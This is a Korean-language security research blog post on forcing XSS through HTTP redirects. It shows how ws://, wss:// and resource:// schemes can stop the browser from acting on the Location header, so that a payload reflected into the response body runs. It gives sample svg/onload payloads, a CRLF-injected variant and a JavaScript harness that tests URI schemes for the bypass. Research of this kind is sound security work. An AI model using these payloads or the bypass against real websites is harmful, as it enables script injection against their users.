Forcing HTTP Redirect XSS

TL;DR

If you are in English, I hope you read this! I’ve tested more, but there’s no unusual pattern. If you’re curious about my story, try using a translator! not writing in two languages because I am little tired today.

XSS in Redirect

한 때 Open Redirect는 높은 확률로 XSS의 가능성을 포함하고 있었습니다. 301,302,307,308 등 여러가지 HTTP Redirect에서 javascript:// , data:// 등의 스킴을 이용하여 사용자단에서 스크립트를 실행했죠. 다만 요 몇년새 메이저 브라우저들은 모두 관련 사항을 패치하여 이젠 Open Redirect에서 XSS를 보기 힘들어졌습니다. Redirect에서의 XSS가 잘해야.. 이정도 선이였던거죠.

최근 quentin이 재미있는 기법 하나를 공유하여 관련해서 추가로 더 테스트해보고 내용을 글로 작성해봅니다.

Not HTTP Protocol in HTTP Redirects

일반적으로 Redirects에서 브라우저가 식별할 수 있는 프로토콜이라면 바로 연결시켜줍니다. 예를들어 시스템에 abc://를 사용하는 앱이 있다면 웹에서 abc://가 호출되었을 때 해당 앱을 실행하게 되죠. (모바일에서의 딥링크나 커스텀 스킴 생각하시면됩니다. 동일해요.)

Problem

보통 301,302 등의 Redirect는 Location 미지원 브라우저를 위해 Body 구간에도 JS나 A태그 등을 통해 Redirect 코드를 제공해줍니다.

HTTP/1.0 302 Found
Content-type: text/html
Location: http://www.hahwul.com

<a href="http://www.hahwul.com"></a>

간혹 이 부분에 XSS가 발견되는 경우 분석가는 고민을 시작하게 됩니다.

HTTP/1.0 302 Found
Content-type: text/html
Location: http://www.hahwul.com"><svg/onload=alert(45)>

<a href="http://www.hahwul.com"><svg/onload=alert(45)>"></a>

Response body만 보면 XSS가 가능하지만, 실제로 동작 단계에선 Location 헤더가 우선적으로 처리되기 때문에 동작하지 않습니다. 이런 경우 Location 헤더를 무력화 해야합니다. 위에 해커원 리포트도 Location을 무력화한 케이스이죠 (다만 저건 일반적인 케이스는 아닙니다).

그래서 오늘의 핵심주제는 Location을 무력화하는 2가지 방법입니다.

Bypassing with ws:// , wss://

XSS

ws://www.hahwul.com;"><svg/onload=alert(45)>

Response

HTTP 302 Redirect
Location: ws://www.hahwul.com;"><svg/onload=alert(45)>

<a href="ws://www.hahwul.com;"><svg/onload=alert(45)>"></a>

Bypassing with resource://

XSS

resource://www.hahwul.com;"><svg/onload=alert(45)>

Response

HTTP 302 Redirect
Location: resource://www.hahwul.com;"><svg/onload=alert(45)>

<a href="resource://www.hahwul.com;"><svg/onload=alert(45)>"></a>

Another pattern?

일단 확실하게 가능한건 chrome/firefox에서 ws:// wss://, firefox에서 resource:// 인데요. 혹시나 더 있을까 싶어 간단하게 JS 코드를 만들어서 테스트해봤습니다.

검증 로직은 아래와 같구요.

<div id="area"></div>

<script>
  function run(list) {
    list.forEach(function(scheme){
      var area = document.getElementById('area')
      var node = document.createElement('iframe');
      var payload = `http://localhost:8000/?redir=${scheme}://www.hahwul.com%0a%0d%0A%0d%%0A%0d%3Csvg/onload=alert('${scheme}://')%3E`
      node.src = payload
      node.style = 'width:2px; height:2px;'
      area.appendChild(node)
    })
  }
</script>

일단 위키피디아에서 알려진 스킴 이름으로만 진행해보겠습니다. JS 콘솔에서 아래 코드로 리스트를 뽑은 후..

var arr = [];
var list = document.getElementsByTagName('tr');
Object.entries(list).forEach(function (v){
  if(v[1].childNodes[1] != undefined){
        arr.push(v[1].childNodes[1].innerText);
    }
})

검사해봤습니다.

run(arr)

ws:// wss:// resource:// 를 제외하곤 아무것도 없네요…

덜 알려진 스킴이 존재할 가능성이 있으니, 여러가지 워드리스트 기반으로 돌려보고, 결과가 있는지 살펴봐야겠네요 :D

References